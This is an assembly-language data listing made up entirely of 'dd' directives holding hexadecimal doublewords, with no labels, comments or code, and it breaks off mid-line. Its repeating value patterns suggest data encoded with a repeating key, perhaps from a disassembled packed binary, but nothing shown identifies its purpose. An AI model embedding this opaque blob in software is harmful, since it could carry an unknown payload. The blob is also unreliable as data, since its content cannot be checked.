dd 9DF69A66h, 0EE72D4EAh, 883CFCB6h, 0A4631566h, 81E0BF35h dd 9E9280D9h, 655C021Bh, 44321B8Fh, 0BF941866h, 0E8FA4DF2h dd 0D0458144h, 0CDA429B3h, 38A66CE3h, 94F4E960h, 8E210487h dd 735AE933h, 0CBAE0E4Bh, 11321572h, 666EACB3h, 0FDDA89BCh dd 3C79FC0Fh, 9FA1A8FEh, 0B8C472BAh, 555FA099h, 2D521375h dd 7761DDD9h, 0E96DDAEDh, 7E9F90EBh, 0A13D1375h, 11321570h dd 8832048Fh, 0BB613666h, 0CD3D4C9Bh, 35D920B9h, 9AF26373h dd 94CDE25Dh, 710AB06h, 0A63D104Ch, 0DBB74A1h, 422881E7h dd 2238FC06h, 0F7E31566h, 0FE858F56h, 0E8460054h, 0CCABC3E7h dd 0F853403Fh, 88321575h, 3996579Bh, 0CC5ECE08h, 90EEC54Ch dd 0E296D4EEh, 823402E3h, 3123F4E3h, 17DB5660h, 57321566h dd 92F91F91h, 0D2187DE7h, 0AE52C7B3h, 0B1192F90h, 0BB53AAD2h dd 312378D3h, 94BFEC60h, 8E212FCBh, 0CAFFAD06h, 33DB4AC7h dd 0E1321566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h dd 61E2EA07h, 44321560h, 61806351h, 94BB885Ch, 8E2881E3h dd 0A5B7D39Eh, 70340677h, 14B01A06h, 0EE321566h, 5023F2E7h dd 2232068Eh, 0B885D666h, 49D14066h, 2B19760Bh, 0C886466Ch dd 651E04E2h, 0ACACAA00h, 0AE5A7439h, 0CBCF57D2h, 11321563h dd 4944E140h, 2987EAECh, 2D340677h, 113219E2h, 8EB81A66h dd 4B321566h, 223215ECh, 9E3D7566h, 88321568h, 44321C8Fh dd 0CF6B6E66h, 74A22F7Ah, 4AB9B56Fh, 0E9B79807h, 4234065Ch dd 43C79537h, 0D8D733Fh, 4BDB7437h, 5B321566h, 8E771085h dd 0DCF38D34h, 22144753h, 0F2CDB73Fh, 113D9769h, 82DB1566h dd 63321566h, 306A3B96h, 66C48185h, 0E9B79CFCh, 24340668h dd 43EA9400h, 0C3851A47h, 87CA7507h, 443215E3h, 0A7F47466h dd 17210487h, 115AE021h, 0BCD08D3Fh, 335FA099h, 77521375h dd 8C45CDE7h, 4432078Fh, 34CF3F66h, 9CF85EE3h, 43B6410Ch dd 61E4929Eh, 437DFEB0h, 2B9F90EBh, 77CA1375h, 0FD6375B6h dd 622597EBh, 0A2B1AA38h, 1530AF5h, 5EA69CE3h, 2D527560h dd 113215E9h, 0E9F99E66h, 0A5B7D307h, 65340677h, 48657506h dd 7053CAEDh, 24F07D07h, 0A23DA49Bh, 11321567h, 0E587EA9Ah dd 0BC340677h, 8FB7989Eh, 0E934065Ch, 0EE52C599h, 4B1CDBDCh dd 223216E7h, 0DE8D1A66h, 5B79C07h, 24340FF2h, 0C3B7D307h dd 56340677h, 88321B8Fh, 81479366h, 1A6F5F97h, 0F2C47DEAh dd 0E0B375BEh, 9B94EB72h, 0CAB37306h, 0A854DE94h, 7753F13Fh dd 572378D3h, 223BFC60h, 97A01566h, 0AD56767Eh, 0C9CFC92Ah dd 3108B8E3h, 0C1CDE060h, 88379969h, 4B521566h, 0AB53D5D9h dd 0BA684E3h, 82DB7560h, 0DC321566h, 0E52DE23Ch, 3672E61Ah dd 883CFDD3h, 0E3D81566h, 45FA332Ah, 7048EBB4h, 4ECD83EFh dd 1F1CC3E6h, 0C3B7D307h, 4E340677h, 7FDC9406h, 255DB72Eh dd 72C07D0Eh, 0A4CDE0F8h, 8E21040Bh, 44321D8Fh, 21698766h dd 0FC385CB2h, 25B798E9h, 2434065Ch, 0F2CD7493h, 113A9269h dd 0C3D1566h, 44321564h, 0A7BB7406h, 172881F3h, 8832068Fh dd 3A778F66h, 2AC15153h, 7316B726h, 81E868DEh, 42E9ED09h dd 33D390A0h, 1E7D1375h, 883201ECh, 443DFC66h, 73471566h dd 6C88D032h, 876C46B2h, 7CDFA87Ch, 590D7D5Ah, 9B3DD29Ah dd 88321567h, 2987EA9Eh, 42340677h, 0D7B3DFEDh, 0B5567C87h dd 0E9B79807h, 2D34065Ch, 113205E2h, 8839FC66h, 0D92C1566h dd 0D71820FAh, 0CDFE46E4h, 61E2EA1Bh, 4432156Fh, 4F32446Fh dd 24AB0D0Ah, 49B79C63h, 0AD340FF2h, 2232156Fh, 327784CBh dd 0CB7097CCh, 0C1F4E06Ch, 24210487h, 1137FC21h, 0B6131566h dd 0AD1B5D67h, 2232156Ah, 79583C76h, 0DF45BCD2h, 0C73C2D6h dd 795C590Eh, 948B759Ch, 876BC82Ah, 443215EDh, 97CD7466h dd 1721040Bh, 8832078Fh, 8F5BAE66h, 0EE258E89h, 69351DA6h dd 51305437h, 0C9886B16h, 3108B8E3h, 90527560h, 0DCA5B6BFh dd 0BCB97303h, 0F2CD7407h, 1132128Fh, 3F56F066h, 18AC5C76h dd 0B6F790EFh, 1EDB137Ch, 0C2321566h, 0ADD1A84Eh, 130ABD5Bh dd 7A074AEBh, 0DF4BE70h, 42210487h, 28B21A21h, 71321566h dd 88329369h, 25521566h, 6FF7D07h, 0EECED660h, 9B2378D3h dd 0C1BFEC60h, 24212FCBh, 0DBB87593h, 0E990F3E6h, 0C43DC599h dd 22321567h, 0D8B79C93h, 7D340FF2h, 44369669h, 0DE521566h dd 94F4749Ah, 8E210487h, 0F33D7539h, 43D89FB4h, 0AA52D90Eh dd 3DCDE9B2h, 4221040Bh, 8FB7989Eh, 0E434065Ch, 53DC599h dd 44321561h, 22339769h, 98CE1566h, 92A68CE3h, 0C1F4ED60h dd 24210487h, 1122FC39h, 70AD1566h, 2FE91E0Dh, 1347BF2Ah dd 0BC6D6026h, 0C65A2B1Ch, 0ADACFC32h, 22321577h, 4572DFA2h dd 9BE8EA1Ch, 0F5ADAFC9h, 8902C8DDh, 7C87EA4Eh, 71340677h dd 7E9F90EBh, 0DDCA1375h, 1121FCB6h, 6921566h, 0A6AB1A55h dd 0D8D35ECCh, 0EBF598CFh dd 0BC768D39h, 0D9B79CBCh, 0DA340FF2h, 0D390A0h, 876D1375h dd 44321DE1h, 20B01A66h, 71321566h, 0A07A7D07h, 4EDBC475h dd 45321566h, 979C9C8Fh, 6516964Ah, 2987EA9Fh, 0DB340677h dd 2B9F90EBh, 0E8521375h, 4FDB7493h, 21321566h, 0E8A6E927h dd 479ECC70h, 0BB535E88h, 2220FCB6h, 48F71566h, 1CAE53A1h dd 4E27C53Fh, 3E9B1E87h, 0E5E5D830h, 1C9390EFh, 4B52137Ch dd 223213E1h, 11BD1A66h, 0E9321566h, 2CCE110Ch, 22320566h dd 1327D93h, 87521566h, 9AB9EFD9h, 0DB327F07h, 0C9B8099h dd 43D1375h, 44321573h, 223D9C69h, 1BDB1566h, 36321566h dd 828E716Ah, 0BCE9E5DCh, 0CB79C58h, 0E8340670h, 44349A69h dd 0A33D1566h, 11321566h, 0E9E49E00h, 3BEF90EBh, 0DDC7137Ch dd 3BE1AB6h, 61321566h, 4432156Bh, 172206F3h, 0EA528720h dd 64B1219Dh, 0BD367FC6h, 2222150Eh, 115AED66h, 87321546h dd 44321FEDh, 0C3B27566h, 0DEB37309h, 0E253B2FCh, 0D1CDEC66h dd 242108CFh, 15B61A06h, 0EE321566h, 0C480ECD8h, 2D5308BBh dd 113214EBh, 0DBBED66h, 42210B93h, 22321A8Fh, 0D7EF066h dd 622DF1CDh, 39B20D3Bh, 0D6A579B4h, 1F8B90EFh, 0C3D1375h dd 4432157Fh, 2232018Fh, 0AEAE8A66h, 0FB0EF572h, 3651ABD4h dd 0D25D1C1h, 0CD066387h, 0E8727FA3h, 0B7F4CDDCh, 0FB851A7Eh dd 1327D07h, 61521566h, 44321574h, 5DCAC669h, 6847775Dh dd 5375F7C2h, 0C61148F1h, 2BDA0BA7h, 46321566h, 0B4B2C461h dd 165E6AF5h, 4A534E9Fh, 11331566h, 88339569h, 2ECE1566h dd 70C77566h, 84CD743Ch, 8E2108CFh, 4432108Fh, 8F722C66h dd 1ADB05E3h, 57321566h, 5C125F44h, 7FF6708Bh, 94BBBEE4h dd 8E211977h, 0FB547506h, 44537295h, 9A53DFEDh, 9B2D24D3h dd 4422FC60h, 0BA2E1566h, 28DA43Dh, 31950804h, 466A6B78h dd 0BFB9152Ch, 1721052Fh, 1879C9Fh, 2434067Fh, 0EA685ADFh dd 8CBB745Dh, 8E2103F7h, 442A9C69h, 2D521566h, 113215E8h dd 8839FC66h, 807A1566h, 3B03D9F0h, 3DCDE9D4h, 15B9740Ch dd 4221052Fh, 24B81A06h, 1E321566h, 883215E3h, 4422FC66h dd 0FDD11566h, 1C4807FFh, 0FABBF00Fh, 0D9920603h, 0DA5321D8h dd 1130120Eh, 0AC269C66h, 443215DCh, 0A9E81466h, 77524F6Ch dd 0F44CF7E7h, 22537506h, 503DDAE7h, 9C3D7407h, 8832156Ah dd 44349A69h, 0A23D1566h, 11321566h, 8732ECE5h, 4405BEE2h dd 0E1B97566h, 6719AB00h, 6FBB4207h, 4436D2E7h, 0CDB11566h dd 350E9262h, 0AC369C3Ah, 4438FD06h, 88AA1566h, 0FC94C8CFh dd 444B9815h, 4BDB4A93h, 7E321566h, 4E938417h, 0A56DE05Fh dd 129EDF6Eh, 7553E67Bh, 0D6B3F2EFh, 88321562h, 0C336FAE5h dd 0AB6E315Ah, 963D316Ah, 88321567h, 0C452759Eh, 2EDBFBA6h dd 55321566h, 0FE9401D3h, 0D9807535h, 43E5602Eh, 98C7D557h dd 9B19D0E3h, 0FC62EC60h, 2232155Ah, 15B9D3EFh, 8CF69442h dd 0AD321566h, 22321569h, 0E5197F8Ch, 0A1C00943h, 0A3DFC7C2h dd 0A38C3048h, 0DC4BC6A0h, 0CADC946Eh, 474E5A5Eh, 0A3123112h dd 5E0A57A0h, 5BDC941Ah, 4B3AD81Fh, 22321BEEh, 113BFC66h dd 98E71566h, 0C51452A1h, 4450E1D4h, 0AA61ECCBh, 0DE665A5Bh dd 4769CD4Fh, 27123122h, 47665A5Bh, 37D79F06h, 6912142Bh dd 5A894607h, 10321566h, 3019EA5h, 80B3317Ah, 22321562h dd 11339569h, 9CE1566h, 0A1760DA0h, 28F4940Eh, 1255EF37h dd 9123112h, 0BE631F88h, 3ADC9401h, 1E5AF022h, 883214EEh dd 0FC62EC66h, 2232157Eh, 76DB063h, 0A5C2147Ch, 5E244AC3h dd 0DA6A2DEDh, 1633A8EFh, 87521375h, 443213E3h, 22B11A66h dd 0E4321566h, 87CD9007h, 443221E3h, 9CDAE066h, 1E321538h dd 883219E9h, 42BC1A66h, 2D321566h, 113215ECh, 8C8DFC66h dd 56DB1566h, 0CC321566h, 0A32BA1Fh, 0D0D3AC56h, 533730E9h dd 67C61EE0h, 20967D4Eh, 84BB1566h, 4DBC1A42h, 42321566h dd 77F09E00h, 0E9DFB9DEh, 4432E00Eh, 60E9C66h, 0C359ED3Ch dd 93B31A62h, 4B321566h, 223200EDh, 1122FC66h, 7ECE1566h dd 0EEF64989h, 8C75EA7Bh, 3E646B92h, 1DBB4F10h, 42211043h dd 22339B69h, 7BCE1566h, 8826FC62h, 62861566h, 8900F146h dd 1EFA4B44h, 0CBDD1682h, 0CCE46507h, 225A23FAh, 1E321576h dd 883205E3h, 43DB7566h, 51321566h, 0F11F320Eh, 0E952FB39h dd 0A2BB4307h, 2236D3E7h, 0FFB11566h, 0AC069262h, 60269C3Ah dd 0CB327F9Fh, 11321576h, 8DD9A174h, 7D1BA4FBh, 7FC17229h dd 56346CC1h, 959B8099h, 54DB1375h, 2F321566h, 5516B906h dd 86D8B366h, 0F9AB05C1h, 0AB9B09CCh, 23F3CE3h, 952E060h dd 1D297BA5h, 41E99457h, 701101DFh, 88294E0Eh, 60369C66h dd 0BB1621E7h, 4B1A331Fh, 0F1ABE7E7h, 55DB3D40h, 30321566h dd 5AFC7539h, 40521C43h, 0CE183D77h, 0F21B33B9h, 461619EDh dd 4FB3F2EFh, 44321562h, 0A536D2E5h, 716E315Ah, 6E1DAB00h dd 44349F69h, 0A93D1566h, 11321566h, 8837FC07h, 3D5D1566h dd 0CA1DC298h, 1132482Bh, 883C9D69h, 4DDB1566h, 10321566h dd 767C900Dh, 0BB44A2Eh, 44361F0Eh, 6069C66h, 1EB81A06h dd 61321566h, 4432156Ch, 576F9CE0h, 0A014A2ACh, 25531CFAh dd 44339769h, 75CB1566h, 0F17838D9h, 0D7CA1459h, 60165165h dd 0C278384Bh, 19B11A59h, 87321566h, 443217EFh, 0A1537566h dd 15BB118Ah, 0D76A4242h, 443DFD06h, 9ED11566h, 88E238B1h dd 82EED69Bh, 112E03C4h, 2234FC41h, 35441566h, 7E5D5290h dd 46B51A38h, 0A9321566h, 4264749Eh, 56BBEEEFh, 1AC19C3Dh dd 0C2BB459Fh, 11321163h, 8CDA9666h, 181611E1h, 0CB1629EFh dd 11321561h, 2F0DD680h, 244C81EDh, 2DF22507h, 113202EEh dd 7C817566h, 44321B8Fh, 7322BA66h, 12C68C4Fh, 0B15E0919h dd 251E2C52h, 42CF60C8h, 11BE1A9Fh, 0E9321566h, 6006EA93h dd 26F69438h, 1E321566h, 883214E4h, 83B3E966h, 487608A9h dd 636CFAE7h, 571B16B5h, 366CD2E7h, 0CDB316B5h, 7B7608A9h dd 88369369h, 14521566h, 0E85A743Eh, 98321551h, 0D9C73172h dd 8EBBECEFh, 0A31619EDh, 113211A2h, 8826FC66h, 89E41566h dd 45633331h, 0F77A0DF3h, 9F8EB66Fh, 0FF524791h, 9FB92934h dd 1721037Bh, 77CDAC9Eh, 4DDBEA99h, 1D321566h, 0D24AEC28h dd 8E10160Fh, 2252D557h, 43CBE5EDh, 1132AE35h, 7B331566h dd 4432AC37h, 0FB331566h, 4A6B14ECh, 88321C8Fh, 516E7B66h dd 48119018h, 0D90216CCh, 59851A06h, 0FC62749Fh, 22321567h dd 0E86AD367h, 3B52199h, 80B13162h, 0CB527562h, 1132156Ch dd 0A93BD137h, 1DAEF473h, 1483B5AEh, 0F8F37407h, 4903E96Eh dd 44321E8Fh, 0E7EE2166h, 0F9EE7C14h, 0C953179Fh, 0CDB71A2Ch dd 0DBCDEA99h, 35369E37h, 8836D1E7h, 14CA1566h, 0D5684D34h dd 1E5287B4h, 883203EEh, 4423FC66h, 0D9741566h, 0E140F737h dd 41D95DE5h, 0ABFDA6C6h, 0A8E71A79h, 5B97488h, 6ABB4742h dd 4436D7E7h, 0E0B11566h, 35269262h, 80DBED3Ah, 53321566h dd 4564B312h, 79B7E7E6h, 88326A36h, 0CB1611EFh, 9A62ED64h dd 11321562h, 0C2EEFFE7h, 86330265h, 68EED7E7h, 1E6A0265h dd 883200E5h, 0F98B7566h, 0CA74EF8Eh, 1132156Eh, 0FEE8DD45h dd 9B8AB139h, 0AA5A743Eh, 98321510h, 0A3D3172h, 4432156Fh dd 22BD1A06h, 0ED321566h dd 4DB7EA07h, 0AD34064Dh, 22321575h, 0EC8659FBh, 0C58D9E56h dd 89CF1E93h, 34F85F8Ah, 0E9D4DAD2h, 0A3F780EDh, 7DCA1375h dd 313514F3h, 63B61A60h, 7D321566h, 171601EDh, 0E1B3F6EFh dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223214E3h, 25CDEC66h dd 4CB34B42h, 44321562h, 22321B8Fh, 0FA3B2B66h, 0FDD8B29Eh dd 3DEEBD17h, 7319303Bh, 113211DFh, 96DC9466h, 453A8420h dd 3CF494A8h, 483A8420h, 738D1A06h, 3E24AE00h, 0DF34FC07h dd 9A3DEA99h, 88321577h, 4432198Fh, 0D79A8566h, 9170149Eh dd 0B20D3561h, 6006EAB7h, 26F6943Ch, 0F8321566h, 88321575h dd 0E0B7ACAAh, 0BB512EC8h, 0FCDE4B78h, 55E910F7h, 0BBF65BF6h dd 0A36C3152h, 113211A2h, 86BE1A66h, 24321566h, 22329A69h dd 9C3D1566h, 88321566h, 0CC3D7407h, 2232156Ch, 52E59406h dd 0D935A4A3h, 70CD743Dh, 0E6B14C42h, 1CB31A62h, 0E8321566h dd 57D19400h, 6D894DEh, 705A5DE6h, 88339769h, 0CFC71566h dd 0AB653162h, 15F59481h, 0B321566h, 78B511A1h, 0E5CB4942h dd 233B0E3h, 88321560h, 0C1F5EC66h, 242131AFh, 11321566h dd 88321B8Fh, 9459AA66h, 18FCF4B1h, 1E99701Ch, 0B7178C7h dd 5EA61CDBh, 0A63D1560h, 11321549h, 883E9A69h, 0CB3D1566h dd 22321560h, 11329B69h, 15BF1566h, 422B8CA9h, 2232138Fh dd 8589B766h, 70F49908h, 0F452C699h, 0D2B373F1h, 0EE536D6Fh dd 9B3714E3h, 82B37560h, 58E605B2h, 1132108Fh, 3C2AB466h dd 0C7534A7Fh, 313714DBh, 933D7160h, 88321701h, 45B7D29Fh dd 23340663h, 0F8321566h, 88321560h, 0C6F6E19Ah, 0CB52A62Ah dd 1132156Ch, 5BA5B4BFh, 8805D226h, 0AC3DA006h, 11321567h dd 58B7989Ah, 0AD340F1Eh, 22321574h, 33413930h, 0DBB68970h dd 0E1419028h, 0BD8C23F5h, 0C1CD0D33h, 8832058Fh, 0C8AF5B66h dd 0EAB5EF39h, 0CF734068h, 4664705h, 4421FC22h, 5D981566h dd 214BCC9Bh, 0B7392A51h, 2DB584D9h, 0C69DAB9h, 0C88798F7h dd 0E8340FF2h, 44321C8Fh, 0B0E2D566h, 36AC777Ch, 553B1D5h dd 5F2F48DBh, 0EAB37560h, 3AEFE474h, 0E9EAAA69h, 4432108Fh dd 414D6566h, 0D6B3961Bh, 0A76453C9h, 6AFBD2E7h, 0D51B29DEh dd 3FFBFAE7h, 67B329DEh, 6B6453C9h, 223AFD06h, 0C9A81566h dd 0A1B9DFF7h, 0F78D6E25h, 7D44E7AFh, 0E9BB4507h, 1F39C37h dd 246A4CACh, 7BB5C7E7h, 70CA5210h, 9E2FA8EDh, 22521375h dd 0F5B3D4EDh, 42627F34h, 77CDAC07h, 75C7EA99h, 9860EDA6h dd 11321566h, 0E1C3D7E7h, 0B6334907h, 4BC3FFE7h, 13B84907h dd 4002E93Ch, 0FAC19406h, 0CA7C4307h, 1132156Ch, 272A673Ch dd 1DA5620Fh, 2BDA9EA7h, 3E321566h, 84D251E2h, 6005080h dd 73534E3Ch, 0EECDEADFh, 0D1FC3C99h, 0C306EA9Eh, 0A11611EDh dd 9C3D11A2h, 88321571h, 443CFC06h, 0D7E21566h, 2A06E656h dd 0FD3300A7h, 4CD7BB00h, 0E353D3EDh, 0F9521D8Fh, 8832156Eh dd 74F0CE52h, 4507A600h, 488FDCE6h, 61F32407h, 44321569h dd 0D8F598CFh, 25768D39h, 40AEAFBCh, 0E06E5EBh, 0DD6B9069h dd 43C7EA99h, 0D060DFEFh, 45B61A3Ch, 0DA321566h, 11385B0Eh dd 0AC369C66h, 1C160191h, 2232188Fh, 0BFC6CB66h, 32A49FADh dd 16613D46h, 0A70BD8C2h, 17210023h, 884F9169h, 12CA1566h dd 2E2C2CD8h, 0FDDC947Eh, 964CE03h, 5F6BA388h, 0A3E4E208h dd 7EB2F688h, 7EB35B25h, 0E7539C4h, 35B9E3E7h, 0C7C57471h dd 6C60E3E7h, 0B4BBA8B2h, 29CEE938h, 3EB71AA6h, 61321566h dd 44321572h, 57A7F7D4h, 0C569D8F4h, 286BD1C7h, 14DF50C5h dd 3440D5F0h, 2BB90A1h, 88331375h, 0FA521566h, 6AFD654Fh dd 0D38D1A30h, 4F5A743Dh, 0CD321505h, 988D315Ah, 1032243Fh dd 0E9CE4A9Fh, 44339269h, 4ACA1566h, 11327044h, 321601EFh dd 3D060F6Fh, 0CB68C4EFh, 1132156Bh, 26194169h, 0EFE145B6h dd 0C6C856Bh, 51677D38h, 84BB1566h, 0BB79AC42h, 0E8BB3E6Ch dd 16B21A3Fh, 87321566h, 443214E5h, 4452E066h, 0AD99D2E7h dd 0E927E0E6h, 5CBE1ACBh, 2D321566h, 113207EEh, 883FFC66h dd 212A1566h, 1FB53067h, 110E0A40h, 1BA5508h, 572B9CD3h dd 953D7560h, 328C73A0h, 8DDB740Eh, 47321566h, 2CC408CDh dd 86BAE35h, 43B30EF8h, 162C09E0h, 23AAD6E7h, 0F2B37D22h dd 9E5E55E9h, 4435E6E7h, 7CBB1706h, 352E9E9Ah, 8736D1E5h dd 443214E5h, 0CC0FE066h, 1EDCFB88h, 8832DDE3h, 0FA527566h dd 56191F55h, 70524207h, 9CE7438h, 99EFC858h, 8CB71ABBh dd 1E321566h, 883214E8h, 2C65E066h, 3C7B2D4Ah, 901629EDh dd 883211A2h, 41DDD466h, 0D5B3C291h, 642F099Bh, 0DD0FD2E7h dd 7ABB6089h, 34BF1A39h, 71321566h, 8832188Fh, 0A4F67766h dd 77C0A5EAh, 0D317AFBBh, 0D763BD6Ch, 408B4407h, 0A3321566h dd 709E488h, 9FC1407h, 5209E4A0h, 44524C07h, 91B222DEh dd 153F4B7h, 572B9CD3h, 2BDB7560h, 88321566h, 857B844Fh dd 0BCBC82D0h, 22BB1A06h, 91321566h, 0E953658Ch, 6F87FC9Eh dd 33DB1566h, 0A3321566h, 0D7042777h, 3486B402h, 0E53D34A5h dd 6AC3118Ah, 77CC938Fh, 46B51A99h, 42321566h, 0D0BB4407h dd 616B4E37h, 4432156Ch, 0B9586F97h, 0B0B14266h, 87DB177Fh dd 45321566h, 0AF3F433Ah, 0B0C11E05h, 95DC9C4Fh, 0C1016A7Dh dd 242106EFh, 0F25CAD06h, 49530CE9h, 41CB16AEh, 66A6735Dh dd 0AE65C54Fh, 0CCA6735Dh, 246DED4Fh, 92C39400h, 70FD9E9Ah dd 8722D5A7h, 443214E7h, 0EA03EC66h, 98AF9C9Eh, 61340675h dd 4432156Ch, 3E0012C4h, 8BDBB3F7h, 880FEDA0h, 4B321466h dd 22334DE5h, 1135FC66h, 65C91566h, 0B0F0A2D0h, 990C9494h dd 1E89AEDDh, 883355E3h, 5CB31A66h, 42321566h, 2A1C04DEh dd 8839FD3Ah, 33C21566h, 18A76C02h, 454E8F99h, 0D9534E60h dd 233DAD36h, 0FAC52B28h, 1C34FDA7h, 0B4F83657h, 752A9863h dd 7AF39CA6h, 0E96B1BEFh, 94894633h, 0B335CB0Dh, 0E37156BDh dd 0D2B31D85h, 56590F62h, 4569C8EFh, 9C524888h, 58A3416Fh dd 0FE99C4E7h, 0CD534C22h, 312B9CD3h, 90547560h, 871DEB6h dd 0CF53BC94h, 31225CFBh, 22CDE060h, 0B1619EDh, 4CDB11A2h dd 0F2321566h, 154FFF59h, 7D6B2806h, 60269E36h, 2236D1E7h dd 0A9521566h, 0B8E38D91h, 0B852E907h, 0F4BB4333h, 986CE0EFh dd 0A3CB488Eh, 572FA4E3h, 23BF1A60h, 0E8321566h, 7D30F5A7h dd 5D679065h, 28DB1375h, 9F321566h, 1BFF4F28h, 3685F3F8h dd 7A644515h, 921621EDh, 0EE5211A2h, 4B1103DEh, 22321AE5h dd 1138FC66h, 0C7C61566h, 4F6D360Eh, 741E9E79h, 0F852B807h dd 88321560h, 126975Ah, 0A95430EEh, 441F74A9h, 8D20293Eh dd 37EB390Fh, 4B1FDD67h, 1441CC4Ah, 9A0E4D33h, 44339669h dd 0ABCA1566h, 0E92E3122h, 2DDBEC07h, 24321564h, 1969F7E7h dd 0DEB36E88h, 0BE139084h, 9997D07h, 2EBB1566h, 9861E942h dd 8CF19485h, 0C7321566h, 3EB5118Dh, 5BB4942h, 0EE627542h dd 256DE4EDh, 0A9CBDC57h, 23F3CF3h, 89B51A60h, 0B1321566h dd 2220FC06h, 37E11566h, 0A48D31A3h, 0EB52934Ch, 710D5A67h dd 0FDA25EFDh, 0E9E1D9E6h, 0C03D175Dh, 223215C0h, 11209369h dd 85DB1566h, 0BF321566h, 1EFB1A85h, 1B3144ECh, 78DEA609h dd 908B7306h, 43EA9E7Dh, 1136AA31h, 4AB31566h, 52B850CAh dd 0C8B3EF67h, 7B850CAh dd 9BBA1A39h, 0AD321566h, 22321568h, 1DB92AD1h, 6945F645h dd 0B4E34208h, 9F67964Eh, 11321567h, 7D6FFC67h, 4333985Dh dd 0A73D1375h, 0EECDEAF2h, 88339169h, 24CE1566h, 8535AE00h dd 0DCE302DCh, 0CB8A740Bh, 1157972Eh, 0B841EEDBh, 4CDA3402h dd 4074404Bh, 71EAE258h, 582A41AAh, 0B09F3763h, 89B11A39h dd 0BC321566h, 6DBF98EBh, 0EEC71375h, 5BBE087h, 42213EA3h dd 0D3851A06h, 35269E07h, 9D39C37h, 443211A7h, 26F39466h dd 96321566h, 706E316Ah, 111619EDh, 0E7B3F0EFh, 11321562h dd 0F36D0E5h, 4B6E314Ah, 22320FEDh, 5B81A66h, 61321566h dd 44321569h, 0D35A18F5h, 4E3CC771h, 0C77EEB2Ah, 0BC1D8D36h dd 2221470Eh, 35069C66h, 29897306h, 4426FCB3h, 0B8C51566h dd 90BAD4E2h, 0FE9658DAh, 51299657h, 0C899AF45h, 0E8537637h dd 987B88EDh, 0AD521375h, 22321560h, 0BEB456B8h, 0D853B3B1h dd 443215DEh, 0DDEA1466h, 351E9456h, 0CA6321CBh, 0E9F3943Fh dd 7A704452h, 113A9269h, 63D1566h, 44321564h, 0A7B97406h dd 17213EA3h, 8832128Fh, 0F81DE966h, 84D20B85h, 17DBF5B7h dd 65321566h, 3587FE22h, 0F3B7168Eh, 1E340662h, 883212E2h dd 45BE1A66h, 0DA321566h, 0F8C4249Eh, 88321561h, 1F97BE8Dh dd 722CAF2Ah, 9836F9E5h, 0D66A3152h, 442B9569h, 36DB1566h dd 0FB321566h, 0A2A77CBBh, 0A18183B3h, 0FCBACD1Dh, 9EDEF582h dd 87CE9F6Fh, 443214E6h, 8F54EC66h, 13D2D49Fh, 883D9769h dd 4EDB1566h, 21321566h, 16342C98h, 4183A8F0h, 11B71658h dd 4234067Fh, 0A75209D7h, 6AB373ACh, 25538CD6h, 0E403E557h dd 0BCC7E557h, 8832018Fh, 0C7AF5A66h, 2EAE0B41h, 0BCB80504h dd 518776D1h, 172D76E7h, 768C439Dh, 1036395Bh, 40334B96h dd 680F414Bh, 16CDED62h, 0D5B14B42h, 5FB97562h, 5F4AAB37h dd 436D02A8h, 0B47A8E5h, 87331375h, 4432C0E2h, 3AB21A66h dd 0F8321566h, 88321575h, 0D75EFBB0h, 90932FC9h, 340AB932h dd 99AA97BEh, 7F0C0A3Eh, 312378EBh, 0BAB61A60h, 0E8321566h dd 0CE06C3E6h, 0AF097480h, 172105B7h, 88AA9169h, 24521566h dd 99547406h, 775386DDh, 66C1DEE7h, 8DBF2E07h, 2D340661h dd 113268E2h, 8839FC66h, 5FE1566h, 46A45991h, 6F274908h dd 0A4AF98E3h, 4B340F89h, 22321FE3h, 1137FC66h, 584A1566h dd 0BB0D795Ch, 2FDA75B5h, 0B2321566h, 5F86AB7Bh, 76279DF3h dd 99197A94h, 0C004AD00h, 3627438h, 80B1315Ah, 29B31A62h dd 71321566h, 87CCAA69h, 443215EEh, 0A7BB7466h, 17211597h dd 8832108Fh, 91012966h, 41DB7883h, 71321546h, 0E4FAD06h dd 96B33CD6h, 368842DFh, 8CBF7407h, 8E28FA4Ah, 0C5C4A406h dd 981A5ADh, 0C2CD7478h, 30544606h, 226A7DF5h, 0C0A9C3E7h dd 648F9607h, 8834067Ch, 44669169h, 42521566h, 6A66CCE7h dd 0E9531412h, 6FA7905Dh, 0A63D1375h, 11321554h, 88321C8Fh dd 0EDF5266h, 0A2215027h, 9409E388h, 8E213ECFh, 44169069h dd 42521566h, 1132108Eh, 0EE4F7966h, 2268A740h, 432D85DEh dd 0EA8D1A31h, 92DB743Fh, 4BCDEA99h, 223214EFh, 9409E066h dd 8E213BD3h, 44649069h, 28DB1566h, 5C321566h, 0BEC73365h dd 6E6A831Eh, 1F8F967Ch, 11340671h, 88129169h, 0C03D1566h dd 2232156Ah, 11349169h, 3D1566h, 44321566h, 12DFA8E5h dd 1E321375h, 88320EE2h, 0C1BFE066h, 242866FAh, 11321C8Fh dd 7A111866h, 76A97970h, 90DB352Eh, 0E9CDEA98h, 0A687905Dh dd 0C03D1375h, 0DDCDEBC3h, 0FC8F969Ah, 89340FF5h, 447A9069h dd 2EDB1566h, 97321566h, 0F139849Dh, 3366AE04h, 1955F9FEh dd 0BA634E3h, 0A3B71A60h, 4B321566h, 223212E1h, 0C8A7566h dd 0E9031042h, 4FD690EBh, 0CBCB153Fh, 0EECDEBF4h, 8832188Fh dd 59523166h, 934D5B4Bh, 8F1E867Dh, 7703A8AFh, 44339969h dd 0A1CE1566h, 235F0DBh, 0C3D1560h, 443205A5h, 22321B8Fh dd 2ED1BE66h, 0F44762E1h, 0C3F9D4FFh, 191F3A15h, 0BA618E3h dd 0A3B71A60h, 24321566h, 2238FC06h, 0CF621566h, 6D0395DAh dd 97130AA7h, 22329F69h, 70531566h, 0D9B79E9Ah, 0B1340668h dd 2233AF34h, 0C6331566h, 0D09E93Ch, 42288173h, 220D9069h dd 1DB1566h, 0FF321566h, 21F0DBDFh, 0F066ADC5h, 0BB9D565Bh dd 317A630h, 571E0CE3h, 23BE1A60h, 0E8321566h, 883B790Eh dd 600E9C66h, 7D161199h, 11399169h, 8EDB1566h, 7B321566h dd 0E9371423h, 0B72EFDh, 87340FF2h, 443246E3h, 0CB527566h dd 1132156Bh, 2174EFDAh, 7658EEA7h, 0BE6B687h, 0DCDABE0h dd 37530187h, 14B48257h, 0A3B79E07h, 1E340671h, 88321CE3h dd 0FB547566h, 0D3B20136h, 16DB74C3h, 74321566h, 1E1C5789h dd 27A5804Bh, 11321567h, 8834FCF1h, 0F7841566h, 0F0C8063h dd 852B905Dh, 0D3D137Ch, 4432154Ah, 0A953ED06h, 234C8E3h dd 